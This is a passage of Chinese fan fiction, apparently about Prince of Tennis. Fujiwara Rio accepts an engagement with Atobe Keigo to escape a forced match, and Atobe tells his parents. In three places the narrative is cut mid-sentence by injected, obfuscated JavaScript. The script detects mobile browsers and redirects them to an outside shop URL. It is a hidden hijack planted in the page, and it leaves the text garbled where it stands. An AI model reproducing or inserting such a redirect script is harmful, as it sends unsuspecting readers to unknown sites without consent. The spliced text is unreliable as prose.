他的声音响在收拢的夕暮中。 “今晚我等你的答复。” - 梨央比原定时间晚了近一个小时才到家。 回程途中,正遇餐饮业最繁荣的时段。 她踩着黄溶溶的日色沿街道走,嗅觉里充斥着热腾腾的香气。煎烤辛辣,蒸煮鲜甜,凉拌酸咸,无一不勾动路人的饕餮欲望。 留校太久,她还无暇吃上一口热乎饭。食物香气不断涌入,刺激唾液腺分泌,她感觉自己的步伐越来越重。 到达饭点自动觅食的DNA本能激发。 天可以塌,饭不能不吃。反正事态发展到如今地步,少吃一口米也不能将其妙手回春。因此她当机立断,回家计划暂停,脚步一拐转入熟识的关东煮店铺。 “哟,小梨,有段日子没来了啊。” 老板是一位和蔼的中年大叔,身体宽胖,系一件围裙。手上颠勺的动作又快又稳。 见到梨央这位老主顾,他张嘴热情地打了一声招呼。兼顾各煮锅的同时,开始报菜名。 “今天想吃什么?还是老五样吗?土豆鱼丸鱿鱼卷牛肉丸和白萝卜?” “是的,照旧这几类,不穿串,剪碎搅拌在一起。不过这次麻烦竹内大叔您给我多添一些土豆。” 碳水,尤其土豆和米饭,是她心情不好压力大时的进食首选。口感绵密扎实,一碗下去充盈脾胃。这种饱胀的满足和幸福感,任何食物都无法取代。 总之,真传一句话:碳水天下第一! “好嘞,给你多加一些土豆。酱料要哪种口味?还加辣椒酱?” “对的,辣椒酱,也请您多放一点。” 五分钟,一碗土豆为主的关东煮出锅。 梨央找个位置坐下,擦去唇上残留的护唇膏。像西瓜汁稀释的红色痕迹,连同纸巾一齐扔进垃圾桶。 又用五分钟,她在食店迅速解决战斗,并严格按照父亲和哥哥的喜好——父亲那份剔除蛋类多添牛肉丸,哥哥那份加芥末不要豆腐——额外打包两份关东煮。 料想父亲哥哥和难缠的敌人拉扯,当下也没心情吃饭。等察觉到“饿”的感受,让厨房做饭又要等时间。 这期间关东煮多少能顶一下,不至于让父亲和哥哥饥肠辘辘太久。 ——虽然管家田中先生安排内务是一把好手,此等细节不会疏忽。但仅因过往经验就全权依赖他人,这不符合她的属性。她仍然更信任自己的主观能动性。 一路提溜两袋关东煮步行回家。 推开家宅大门,正厅内值守的佣仆只有田中管家一人。 他的鼻梁上架两片老花镜。一手举珐琅瓷器,另一只手握白绒布。面迎枝形吊灯,白绒布对着瓷器挥动,上擦下擦,左擦右擦。 说是在擦灰吧,瓷器釉面光可鉴人,随意砸碎一块都能媲美她的小镜子。 或许正如童话故事里有皇帝的新衣,这件瓷器指不定也有些皇帝的灰尘。 “田中叔,晚上好,”梨央反手关门,环视一圈正厅,问,“父亲和哥哥呢?他们现在在哪里?” 熟悉的动静让田中停下手头工作。 “小姐,欢迎回家。” 他戴白手套的手交叠于身前,微微鞠躬。 “先生和少爷此刻正在书房。” “那他们吃饭了吗?” 田中微不可察地拧起眉心。 “……还没有,小姐。” 答案意料之中,是预想的表现。 但梨央面上不显露。 她看向木雕桌钟,按常规反应撇下唇角,扮出一副“怎会如此”的神情。 “这都多晚了,两个人竟然还没吃晚饭。” “怎么?是家里出什么事了吗?” 田中眉心的皱纹蹙得更深。他翻衣领,推眼镜,肢体略显忙乱。下颌肌肉轻抖着,在“绷不住”和“绷不住也得绷住”的边缘极限横跳。 “刚才先生特意交待今天天气热,没有胃口,晚餐时间会稍微延后一些。家里一切如常,请您放心。” 标准的说辞,比军人阅兵正步还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518450|142301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 标准。 ……看来田中叔今天也被父亲下了封口的死命令,一个字不许对她透露。 梨央对此心知肚明。 她不吱声,轻手轻脚地把两袋关东煮放在桌上。 “回来的路上多打包了两份小食,请田中叔等会加热,五分钟后端去书房吧,”她柔和地嘱咐,“我已经吃过饭了,晚餐不用再麻烦厨房准备我那一份。” “好的小姐,我这就去安排。” 两个人背对背往相反的方向走。一个上楼去书房,一个下楼去厨房。走上几步台阶,梨央回头下望了一眼。在她脚底下,楼梯的阴影处,田中管家正悄悄掏出手帕擦额角的汗。 心里更有了些数。 推开书房门,里面和外面一样,愁云惨淡。 哥哥和父亲还在努力地装。 但演技着实拙劣,轻易便被她看穿。 父亲藤原维时站在落地窗前,似乎在看风景,端茶的手指节发白;哥哥藤原行雅举着一份报纸,佯装专注地读报,翘起的脚微微颤抖。 梨央扫了一眼桌案。 物件码放得整整齐齐。不过原先摆放三个玻璃杯的托盘,现下只剩一根独苗孤零零伫立。 三个玻璃杯两个归西。 这场硬仗打得真是酣畅淋漓。 她走到哥哥身边,迅雷不及掩耳地伸手,抽出哥哥手中的报纸,调转了一下版面方向。 藤原行雅傻眼:“诶诶……梨央你……” “哥哥,你报纸拿反了,”她平铺直叙地说,“难为你倒着都能看下去,真厉害。” 藤原行雅抢报纸的手僵在半空,尬住了。 “哦……哈哈哈,是吗,我看得太投入还没发现呢。那……那我重新看一遍。” 即便被戳破伪装也在强撑着找补。要让他们主动告知实情,那是千难万难。 梨央长长呼出一口气,决心挑破窗户纸。 “哥哥,父亲,你们不必再瞒着我,家里的事我都知道了,”她说,“今天石田家的人,又上门来了,对吗?” “还有,我上下学的路上你们也在派人跟着我,防止石田家动手脚,对不对?” 藤原宅邸离冰帝不算远,上学放学她都习惯独自步行。可能考虑到忽然要接送她上下学,容易被她察觉出端倪,因此家里只暗戳戳地给她提供了保镖,以保她人身安全。 藤原维时惊疑的目光投向小女儿,又注视着长子。他不言语,神态里写满无声的质询—— “你跟她说了?你怎么能跟她说呢?” 藤原行雅看了看梨央,又回看父亲藤原维时。肩一耸,双手一摊,作无辜状回应—— “天大的冤枉啊!我真没说啊,妹妹怎么知道的我也不知道啊。” 父亲和哥哥的眼神官司梨央怎能不懂。她及时替哥哥解围,“父亲,不关哥哥的事。他的确没透露半句话,这些是我自己偶然听来的。” 藤原行雅小声嘀咕一句:“看吧,我早就说了,家里这么大阵仗,刻意瞒着妹妹是瞒不了多久的……” “不过妹妹,你别着急,”他转过身,手脚并用地比划着安慰她,“这件事我和父亲,还有美国那边的姑姑已经在想办法了。我们家是无论如何也不会把你交出去的。” “即便东京的公司不要了,国内产业全部化为乌有,就算……就算咱们退回老家种地,那群货色也休想……” “父亲,哥哥。” 梨央坐下来,搭在膝盖上的双手蜷紧成拳。 “今天会长跟我说,这婚他跟我订。” 没有前因,没有后果的一句话,忽然突兀强势地插.入进来,像大戏高.潮中横插一脚广告,由不得人置之不理。 藤原维时:“……” 藤原行雅:“……” 愤慨的陈词冷不丁地偃旗息鼓。 藤原行雅大吃一惊:“欸?!” “会长?冰帝现任学生会会长……你说那个迹部家的大少爷,迹部景吾吗?” 藤原行雅同为冰帝出身,毕业没几年,与母校还未彻底断联,校内状况大概也清楚。 他死活想不到,看着对男生毫无兴趣,甚至有点异性情感冷淡的妹妹,居然能和迹部家那位为人有些张扬的独子牵扯到这个地步,磕磕巴巴的,话也说不利索了。 “订……订婚……等,等一下?他怎么会和你提订婚这种事?你不过才到冰帝读书一年多,你们什么时候……” 哥哥絮絮的念叨,因无可平复的震惊填满整个书房。而父亲,一言不发。他端着早已凉透的茶水,眺望远方无垠的海面。 茶碟底部的食指慢慢地敲。 梨央不知道父亲此刻在沉思什么。 但她明白,父亲和她与哥哥不一样。他是藤原家主,家族荣辱系于他一身。他有更宏大的利益格局要考量,不会好奇迹部景吾为何对她提出订婚,更不会好奇他们是什么时候搭上的线。 所以,他收回目光,抬手制止哥哥发言后,只问她唯二两个问题: “梨央,你自己怎么想?” “和迹部景吾订婚,你自己愿意吗?” 4. 04 你愿意吗? 本来是很简单的一句问话。 但经过思考,难度却比肩她去年物理竞赛的最后一道拉分题。 之前她心一横,愿意跳石田家的火坑,着实没得选倒也罢了。但现在,有选项摆在面前,看似多了生路供她取舍,却反而比被迫一条路走到黑来得艰难。有些荒谬。 果然世界就是巨大的模拟人生游戏。自己亲手选定支线,得盈亏自负,自己对此后所产生的全部后果兜底。何况牵扯的不止她一个人,亦不止她们藤原一家。 理智上,她隐约知道哪种做法更具优越性。然而,不明白出于什么原因,她的逻辑下意识被驱离,答案一时间竟说不出口。 “我不知道,父亲。” 梨央回答,杂糅点心虚:“我想先回房间考虑一下,可以吗?” “好,”父亲点头会意,又关切地问她,“回家的时候吃饭了吗?现在饿不饿?我让人给你做点吃的。” “已经吃过了,父亲,我不饿,”她尽力挤出一个笑来,“我是不会亏待我自己的,你放心。” 回到卧室,她反手关上房门,划分出一个绝对安静的空间,将自己与外界彻底隔绝。 身体往床上一扔,梨央松懈地趴着枕头,又回想起迹部景吾的话。 ——“这样吧藤原,这婚,你和我订。” ——“只要你跟我订婚,谅他们再借一百个胆子,也不敢从迹部家手里抢人。” 手上不知道做了些什么动作。当她侧翻过身,视线聚集于手机时,屏幕正巧呈现出她和会长的聊天界面。 界面上,留有她和会长从加为好友至今的聊天记录。向上翻动几下,条条框框里都是他一言她一语,一直延伸,久不到尽头。 聊天频率不算低,但大多为财务汇报和数据交流。对话中途,会长为了避免全是工作问答太冷冰冰,偶尔会主动穿插日常——比如吃了吗、吃什么、去哪玩、放假什么安排…… 最后一条聊天记录截止在上周四。 会长说统计表完不成就算了,不着急,明天再做也不迟,先去吃饭。接着问她午餐的具体选择,他今天不知道吃什么,做个参考。 梨央毫不犹豫地回复: [想不出昵称:土豆海带汤饭,5号馆2层进门那家,超香。] 会长回了一个沉思小黄emoji: [A.K.:我发现你是真的很喜欢土豆。] [A.K.:这两周总共有六次提起它。] 梨央怀着一种“好东西当然要分享给全世界”的喜悦,噼里啪啦答: [想不出昵称:那当然,土豆怎么做都好吃。炸也香,煮也香,炒也香。爱上土豆就像呼吸一样简单。] [想不出昵称:土豆神教永存,bless!] 滚动条触碰到底,再上拉是空白。 她的手指移动到发送框。光标闪烁,半晌不知道该输入些什么。 要在[土豆神教永存bless]之下键入决定人生剧本走向的文字,其间压力,不比电车行驶路遇五小孩,要么碾上去创五个要么脱轨噶一车的此类经典“死道友”or“死贫道”难题来得轻松。 或许抉择这个动作,本身就自带困境。仿佛只要不执行该节点,进程就此停滞,便不必面对后续的起伏变动。 可是当鸵鸟埋下脑袋不能解决问题。 她必须向前一步。 一条路,和对家面都没见过的儿子绑死。 一条路,接受会长的提议寻求其支援。 孰优孰劣,一目了然。 她对着屏幕深呼吸,不再犹豫,虚拟键盘的按键在指下跳跃着点亮。 [想不出昵称:会长。] 另一头几乎秒回。 [A.K.:我在。] [A.K.:决定好了?] [想不出昵称:决定好了。] [A.K.:嗯,你说。] 紧接着,顶端“对方正在输入……”的提示再次闪烁片刻。她停下敲击动作,等待会长的回复。但是没有。提示词消失的时候,聊天框内不曾发生任何变化。 梨央:“?” 怎么光打雷不下雨? 会长这几秒打算交待她什么呢? 她百思不得其解。 这段欲言又止的对白由此成为未解之谜。 既然他选择避而不谈,想必不是什么重要信息。梨央将小插曲轻轻撇到脑后。对话主动权转移,她调出虚拟键盘,一面默念组织措辞,一面删删改改地打字。 [想不出昵称:会长,很感激你对我的帮助。关于你的建议,我刚才已经仔细思考过,的确是一个行之有效的方法。我暂时没想到比这更好的解决途径。] [想不出昵称:所以接受它,大概是我目前的最优解。] [想不出昵称:接下来可能有相当长一段时间要麻烦会长你。如有冒犯的地方,我在此先向你致歉。] 另一头仍然秒回。 [A.K.:好,我知道了,不用客气。] [A.K.:后续一切交由我来处理,你先好好休息。] 拇指点在键盘上的速度越来越快。她的指尖控制不住似地微颤。 她惊奇地发现,作出抉择之后,她非但没有获得该有的、尘埃落定的平和,反而心脏鼓噪得厉害。像置身烈日下,冲涌着狂风暴雨,身上一会发热,一会又发冷。 订婚,和会长。 这组词语还是让她有点眩晕。 深呼吸,努力不打错字。 [想不出昵称:谢谢你,会长。] [想不出昵称:原本是我的事情,反而让你费心了。] 对方倒沉得住气,比她从容许多。 [A.K.:费心谈不上,这同样是为了我自己。你不要有思想负担。] 这条语句弹出,屏幕放射的光线更亮。 天色越加昏沉,她的房间里没有开灯。 不知道是不是潜意识中的行为。和黑天摸地的夜晚融为一体,她很喜欢。 从小扎根的习惯,长大了就抓得更深。 因幼时体弱,她不得不远赴美国调养。整年里要在隔一太平洋人生地不熟的对岸待八个月。而在美国唯一的血亲——她的姑姑,又是女强人个性,一心开拓商业版图,极少陪伴在她身边。 天经地义的,独处是她熟悉的第一课。 当其他小孩晚上睡觉找不到父母,便肆无忌惮地扯着嗓子嚎时,她早已和黑暗习以为伴。 不能哭,也不能闹。仆佣们都睡熟了。四下偌大的房间,除了装饰名贵的家具,不会再有东西听见她。 黑暗于她并非恐怖的代名词,它带来与世隔绝的舒适感。如同周身裹着母亲亲手折叠的婴儿襁褓,柔软,静谧,一应有形无形的物质俱被她独占。 此刻,卧房唯一光源是她的手机。当她仰躺在床上,盯着屏幕时,其上字句比任意时刻更显眼,像石碑上的刻痕一样清晰。 浓深的墨色中,她静了一静,读到迹部景吾发来的最后一条消息。 [A.K.:藤原。] 单独起一行她的名字。 他说: [A.K.:你愿意答应我,我也要谢谢你。] - 今晚是朗月当空的晴好天气。 迹部宅邸二楼走廊。 薄软月色自窗棱斜铺进来,在地面排列出一个一个白溶溶的光格。 供职迹部家数十年的老管家米歇尔,正站在走廊临窗的地方,手持一柄剪刀,挨个清理花瓶内枯萎的残叶。他取出凋零的花枝,扔掉,重换上膨胀欲放的新摘花苞。 “砰——” 房门开合,猝不及防一声震动。 吓得他手抖了抖,剪刀没拿稳,差点连瓶带花一起砸到地上。 哎,人老了,多少有些承受不住这一惊一乍的动静。米歇尔抚平衣襟前的褶皱,调整姿势,打算继续完成修剪花枝的工作。 “米歇尔。” 一阵风席卷而过。浸进月辉中的少年音色略带清冷质感,乍然响在他背后。 看来有更为重要的事项来插队了。 他把剪刀搁在桌台上,转过头,向这位他从小照顾到大的少年微一躬身。 “景吾少爷,请问您有什么吩咐?” 迹部景吾仰头朝楼上环视一圈,问:“父亲和母亲呢?他们在哪里?” 向来沉着稳重,幼承“临大事不乱”训诫的迹部财团继承人,此刻罕见地一反常态。眉目覆上迫切的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518451|142301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神色,连带问句的语速也加快得急促。 米歇尔不禁十分狐疑。 到底是将发生什么天要塌下来了的大事,能让一贯心有定力的少爷这么着急? “老爷和夫人现在在书房呢,景吾少爷。”他言简意赅地回答。 “知道了,谢谢。” 没有多余的废话,迹部景吾当下大跨步奔上楼。又一阵疾风晃荡,卷着模糊的话语尾音,从他身旁飞速掠过。 米歇尔:“?” 少爷今晚好蹊跷啊。 一头雾水,不明就里的老管家愣怔之余,仍不忘尽职尽责地尽到提醒责任。 “景吾少爷,请小心一点,”他冲那道残影大喊,“地板刚打完蜡——” 可惜,迹部景吾身为网球健将,冲上阶梯的速度实在太快。声音尚未追上他的脚跟,旋即消散在宽敞的走廊中。 - 书房内,迹部财团现任负责人,也即迹部家主——迹部荣一,和他的妻子——迹部瑛子,享受难得的夫妻独处闲暇时光。 两人对坐于一张国际象棋棋盘的两端。 一人执黑棋,一人执白棋,摩拳擦掌地正待在棋盘上分出个高低胜负。 “咔哒”,一枚黑色车棋落下。 “不对不对……不能走这一步。不然我的黑后下一步就要被你吃了。” “我要撤回车棋,应该走象棋才行。” “瑛子,下棋讲究落子无悔,”迹部荣一对妻子的耍赖招数哭笑不得,“哪有你这样时不时就要悔棋的,可没有这样的规矩。” “哎呀,你都赢好几盘了,就让我这一次嘛。就这一次。”迹部瑛子竖起一根手指,花哨地左右晃了晃。 “刚才下车棋是我考虑不周,我认错,以后肯定不会再冒冒失失地走棋了。” “你就让我重新走这一步吧,荣一。” “真拿你没办法……那这是最后一次了啊,下次不许再赖棋。” 得到丈夫第N回“最后一次”的让步,迹部瑛子非常开心,紧急撤回一个车,往棋盘阵线前拱出一个象。 书房门外,三声敲门有序地插.入其间。 “进来。” 迹部瑛子吸了一口西瓜汁,头也不抬。 虚掩的书房门逐渐大开。来人得到许可后,也没来得及合拢门锁,从门口直接三两步跨到迹部荣一和迹部瑛子面前。 “父亲,母亲。” 垂下的右手食指和拇指搓念两次。迹部景吾压着吐字尾调的波动,保持声息平稳。 “怎么了小景,找我们有什么事么?” 迹部荣一也不抬头,目光专注地盯着棋局。 迹部景吾顿了一下,“父亲,我有很重要的事情,需要你和母亲出面。” “好,你说。” 两个人从头至尾没有看他,双方都在沉浸思考怎么把对方的棋子杀得片甲不留。 这倒也正常。毕竟小景这孩子打小就有自己的主意,无论家业、学业,抑或网球,他都能安排得井然有序。桩桩无纰漏,件件出成果,平素从不让他们操心。 这出面的要事,顶了天也就老师家访吧。 小事一桩,无须在意。 迹部荣一执起一枚白色后棋。 迹部瑛子咬着吸管又喝了几口西瓜汁。 “父亲,母亲。” 迹部景吾移开沙发上的抱枕,坐到迹部荣一身边。然后,他慢条斯理,咬字清晰道—— “我要和藤原梨央订婚。” …… 犹如平地丢出的一道炸雷。声音不大,却足够撼动人心。 迹部荣一:“?!” 迹部瑛子:“?!” 啊?! 注意力脱离棋盘,两道视线不约而同地齐望向他。 心理预期计量表直接爆炸。 该说不说,这事比起“老师家访”终归还是太超前。以至于这对见惯大风大浪的夫妻,一时表情管理有些失控。茫然、惊讶,夹杂着“这小子在说什么我不会听错了吧”的自我怀疑,同时定格在两人脸上。 不给他们反应的时机,迹部景吾平静地炸下第二道雷。 “藤原已经同意了,”他说,“两家人的见面,请你们明天安排一下,越快越好。” 5. 05 不多时,书房里面的动静胶滞住了。 说话的人不再说话,定定的目光在父母脸上逡巡;下棋的人不再下棋,喝水的人也不再喝水,相顾无言地对望彼此一眼。 “……我刚才应该没有出现幻听吧?”迹部荣一紧捏后棋,不太确定地向妻子求证,“小景说……他想订婚?” “是的,应该没有,”迹部瑛子严肃回答,“我也听见了。” 迹部荣一长舒一口气:“还好还好,看来不用打扰医生这么晚还为我上门检查听力。” 迹部景吾:“……” 很难评价。 “小景,”最后,由瑛子代表他们夫妻,向他取得更进一步,更准确无误的确定性,“你是说……你想和梨央订婚,对吗?” “对。” 简明扼要,不负众望。 迹部景吾给她一个圆满的答案。 迹部荣一听着就乐,温文尔雅地点评:“难怪,我说你今天晚饭的时候怎么神不守舍,平时爱吃的菜也不动几筷子。” 原来在偷摸盘算大事,饭吃得不香了。 “嗯?”和丈夫的淡定截然相反,迹部瑛子倏尔张圆眼眸,“真的?和梨央订婚,这是真的吗?!” 迹部景吾微点下颏:“真的。” 迹部瑛子:“小梨她答应了?!” 迹部景吾:“她答应了。” 迹部瑛子又重复一遍:“小梨那孩子她答应你了?真的吗?!” 迹部景吾上挑起一侧眉梢,语气有些无奈:“母亲,实在不行,我把“藤原答应了”这几个字录下来,放给您慢慢听一百遍吧。” 迹部瑛子轻轻“啊”了一声,就着手捧的瓷杯喝口水,才马虎地收敛住表情。 “这倒不用,我想我还没到耳聋眼花的年纪。” 她忽地站起身,松开盛有半杯西瓜汁的高瓷杯,在书房中央来回踱步。“哐当”,杯底和桌面,清脆短促地碰撞。瓷杯出溜一寸,向桌缘倾侧,摇摇欲坠。 迹部景吾下意识伸手挡住,握稳它。 晃荡的红汁液溅在杯口,从杯沿一路流到他的食指,流下几条鲜艳的醒目迹子。 水润的西瓜红,像时下女生们常用的护唇膏的颜色。浅浅一道印痕,冰冷滑腻,滴在皮肤上淡得发粉。 就这么绕指节半圈。 如同两条蛇,交相缠尾。 他默然凝视食指片刻,随即抽出纸巾,面无表情地擦掉汁液。 “天哪。” “天哪。” “天哪。” 迹部瑛子女士彻底坐不住,在地毯上循环转圈圈,一连用三个语气词表达自己的心情。 迹部景吾:“?” 他以疑惑的眼神侧头望向父亲。 迹部荣一对此见怪不怪,大手一挥,将后棋下在合适的位置,笑着,“没什么,你母亲现在有些激动,让她先缓一阵。” “……好。” 迹部景吾俯垂下视线。 他接手过母亲遗留的棋盘战局,成为新任黑棋“首脑”,无声地与父亲对弈。 “没想到,小梨那孩子居然答应你了……我以前还经常跟荣一感叹呢,要是梨央能来给我当儿媳,我真的,即便是马上闭眼也没有遗憾的,”迹部瑛子独自在旁念念有词,“想不到,想不到……” 比起迹部景吾的心平气静,迹部荣一的镇定自若,震惊、激动,反而是最顺理成章的反应。 至少迹部瑛子真情实感地这么认为。 中年女性聚在一起最常讨论的就是子女。和她年纪相仿的太太们,有儿有女的也差不多与小景一个年龄,正值青春正茂,爱慕异性时期。茶歇中,她经常听见其他夫人互开玩笑: 什么“听说我家傻儿子昨天同你女儿表白,怎么样,你女儿今天考虑好了吗”; 什么“我看咱们两孩子感情挺好,这声亲家我提前喊着适应一下”; 什么“虽然还没到结婚年龄,不过孩子们感情也稳定了,不如先订个婚吧”等等等。 一来一往,还真成了几对。一切流程既定,只等毕业便结婚。 而她,还处于最原始阶段,在想方设法,旁敲侧击,试图侦查出自家儿子相关的蛛丝马迹。 自然是竹篮打水,一无所获。 偶尔她半夜醒转,也会突然坐起身犯嘀咕: 不是,天爷,小景难道不喜欢女生?! 心头咯噔猛跳两下。大半夜的觉也不睡了,点亮枕头边的手机,开始翻世界上“允许同性结婚”的国家名单及相关法律。 结果么。 好嘛,今天突然扔给她好大一个惊喜。 这种感觉,无异于从贫瘠的原始人世界一脚跨进丰饶的共产社会。而从未提起任何女生名字的小景,却说出“要和xxx订婚”的话,就好像“村民向你提供了可控核聚变技术”一样—— 震撼,十分震撼。 更别提,对象还是她已故挚友的女儿,是她从小看到大的孩子。 真论起来,她早先不是没动过撮合的心思。只可惜梨央并没有表露出对小景的感情,她也不好有所动作。唯恐鸳鸯谱点错了,梨央又顾忌长辈的面子,反让梨央难做人。 现在居然不必她费心,美好愿景跟长了腿似的,自动朝她走来。 好得很。 她的好大儿,有两把刷子。 “小景,你和梨央的事,我怎么从没听你说起过?” 迹部瑛子神采奕奕,带点八卦的兴奋语气问:“跟我说说,你们什么时候确定关系的?是你表的白吗?小梨怎么同意的?订婚也是你提的吗?今天提的?” “对对,我和你母亲都很想知道呢,”迹部荣一调侃着附和,“小景你这嘴严得,完全可以继承你母亲的老本行了。” 事情未敲定前,半点风声不露。瞅准时机又能当机立断。冷静,稳重,不慌不忙,一看就是当特工的好苗子。 “一定要说么?”迹部景吾点了一下棋盘,示意轮到父亲的回合,“母亲,我不是很想提。我觉得没什么好讲的。” 被儿子无情拒绝的老母亲:“……” “诶,怎么会没什么好讲……” 回想她当初的恋爱经历,无论是荣一让她高兴,抑或惹她生气,她都恨不得叮呤咣啷全倒出来和父母叭叭半天。 “瑛子,算了算了,”迹部荣一温和地弯起眼,拍了拍迹部景吾的肩打圆场,“小景不想说,我们就别问了。年轻人,讲感情的过往总是不好意思。” 迹部景吾不接话,依旧半低下头。密垂的眼睫一根一根铺落,颤动着,悠悠荡荡,在眼睑下方晕开一片阴影。像一只薄软的蛾翅,柔和地停歇于风平浪静的水面。 他对着手头为数不多的棋子思考,似乎在谋划棋盘上调兵遣将,又似乎不止于此。 战况未定,棋子继续受他操控。 这一步,弃后,故意喂给白棋,以期调离白方的马,使白方掉进他设好的陷阱。 “ok,既然是过去的事,你不愿提,那我就不问了,”迹部瑛子也不纠结,转身喜不自禁地拿起手机,“眼下最重要的当然还是订婚宴。” “我现在联系一下Aman Tokyo酒店负责人,让他们下月空出一天时间,给你们办个盛大的宴席。再让他们推荐最近有空的顶级摄影师,给你们拍一张大海报,挂在酒店门口。” “对了对了,明天还要让媒体运营部准备一下转发抽奖。” “我记得去年小景他们拿下全国大赛冠军,运营部抽了一百人,每人打了五年收入。这次订婚的话,怎么着至少也得发它个十年份。” 美滋滋地有条不紊进行逐个安排。 继承人订婚,家族头等喜事,况且还是无比符合她心意的女孩子,当然值得大喇叭广而告之,昭告天下。 如果不能让社交圈一众人知道她即将有藤原家如此优秀的姑娘当她儿媳,那不就如锦衣夜行,还有什么意思。 迹部景吾抬眸看了看迹部瑛子,纤韧的手指穿梭于棋盘,动作不停,“母亲,订婚宴暂时不急。两家人明天见个面就好。” 再次被儿子无情拒绝的老母亲:“……” “为什么?” 黑方献车驱离白后,为黑兵前进扫清障碍。 “不想让藤原觉得是在赶鸭子上架。”迹部景吾声线平直地坦诚道。 迹部瑛子:“?” 这走向,不懂了。 “可你们不是已经定过终身了吗?” “还没到这个地步,不太一样,”迹部景吾说,“总之不是母亲你想的那样。” 迹部瑛子更迷惑了:“有什么不一样?” 迹部景吾并不多言,只是再次强调:“总之不一样。” 迹部瑛子:“……?” 噢,好吧。真是天机不可泄露呢。 不理解。 但尊重。 安排的计划尚未成形即半道夭折,迹部瑛子有些遗憾地收起手机。 婚约已经确定,但不是定终身。换句话讲,虽然订婚,分手风险依旧处于高位。 …… 高兴早了。 她的好大儿,也就只有这两把刷子。 “不过,见面的安排一定要明天么?”迹部荣一插话,“毕竟订婚是大事,如果小景你不着急的话,需不需要和爷爷商量一下?我想……” 迹部瑛子疾步走到他身后,反手虚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“就明天,”他沉声道,“夜长梦多。” - 梨央完成物理竞赛ppt的时候,还不到晚上十点钟,离她固定的就寝时段剩一个半小时,远早于她预估的时间。 没想到事务完成得这般顺利。一路逻辑串下来,思维顺滑得像融化的巧克力一样,滑潺潺地流动,不曾碰到卡滞的节点。 她想了想,觉得自从给会长发完信息并同时告知父亲后,心情仿佛就轻松了不少。 或许选项一旦确定,没有退路只能前进的方向也就锚定了。但恰恰方向仅有且唯一,反而能断绝无谓的犹豫,莫名给她安定的力量。 她取下学习时才会戴的低度眼镜,对着电脑伸一个懒腰。 书桌上,台灯晕出一团软和的橙色。 梨央合拢电脑的瞬间,桌旁静默许久的手机忽然亮起。屏幕上跳出一条聊天通知。 点开,解锁,是会长主动发的信息。 第一条: “藤原,事情解决得差不多了。” 第二条: “明天早上方便吗?上学的时候我来接你,还有些话想对你说。” 梨央冥思苦想,左思右想,又删又改又调整语句,实在挑不出合适的字词,既显得她礼貌热情,不生疏的同时还能保有边界感。 最后,她把所有文字删除,选了一个比较可爱的猫猫头闪亮眨眼“ok”表情包,进行回复。 “千言万语尽在不言中,”她认为,“效果应该比直白的文字会更好。” 刚发送不到两秒,外面的敲门声清脆地响。梨央立刻跳下扶手椅,迅速跑去开门。 田中管家一身笔挺的装束站在门口,花白头发略显凌乱。见到她的第一刻,他眯缝起眼,慈祥地微笑着朝她俯身。 “小姐,这是给您热的牛奶,”他将手上的托盘递给她,“先生怕您晚上饿,今晚让厨师特意给您多准备了小点心。” 她小心接过:“麻烦你了田中叔。” 田中并不急着走,继续缓缓道:“先生还让我告知您一声,明晚迹部先生及迹部夫人,还有迹部老先生想见您,小姐您可以准备一下。” 她静默了片刻,颔首应承,“……哦,好的,我知道了。” 结合此前已知信息,她不难猜出荣一叔叔和瑛子阿姨,以及目前仍掌握着迹部家最高话语权的会长爷爷打算见她,到底是为了什么。 梨央多多少少有些惊讶。 ——整套流程的推动未免过于迅猛。 订婚,是今天傍晚提的。 回答,是三个小时前发出的。 家长,是明天晚上见的。 中间时差仅24小时左右。 会长雷厉风行的作风,她在学生会也见识过数回。但再次如此直观感受到他的果断,小小一声感慨,像池塘水面上的泡泡,咕咚从心底里浮冒了出来。 ——不愧是会长,超绝超强行动力。 respect。 6. 06 梨央的睡眠质量一直上佳。 沾枕头就睡,一觉黑沉,中途打雷也不醒。时间满打满算七小时之后,像上了定时发条一样,自动准点醒来。 今天晚上也和过去几千个晚上相同。 打开空调,拉上毛毯盖住胸腹。后脑陷在柔软的枕头中,闭上眼顺利地沉进仙乡梦国。 ——才怪! 头脑静悄悄,今晚就作妖。 ——当她眼睑后的黑色区域,开始慢慢化出一片金色,跳动着,像在打响指的指尖上的缕缕阳光时,她隐约便觉得情况不太妙。 一呼,一吸。 调整呼吸节奏,清空脑内乱七八糟的杂质。 尝试关机。 脑子:hello,hello,宝贝你睡了吗? 梨央:睡着了,莫来沾边。 脑子:咳咳,哼哼。 脑子:清清嗓子,开始吟唱。 脑子:“这~婚~你~和~我~订~” 脑子:“有~迹~部~家~在~他~们~不敢~轻~举~妄~动~” 脑子:“我~随~时~都~在~” 循环播放,魔音贯耳。 梨央:睡意全无,猛然惊醒。 上半身呲溜从床上支棱起来。 眼睛瞪得像铜铃。 ——啊啊啊可恶!!她狠狠捶床。 脑子:笑嘻了。 如此反复周旋五次,关机失败。 梨央彻底睡不下去了。 她一眨不眨地睁眼,直愣愣地看头顶上吊悬的天花板。 那块方形画布似的天花板,像泼了一桶灰色染料。窗外月光穿进来,白色的线条便流动在画布上,慢慢地,一笔一笔,勾勒出一个垂着微翘发尾的侧脸轮廓…… “啪”。 床头柜的台灯骤然点亮。 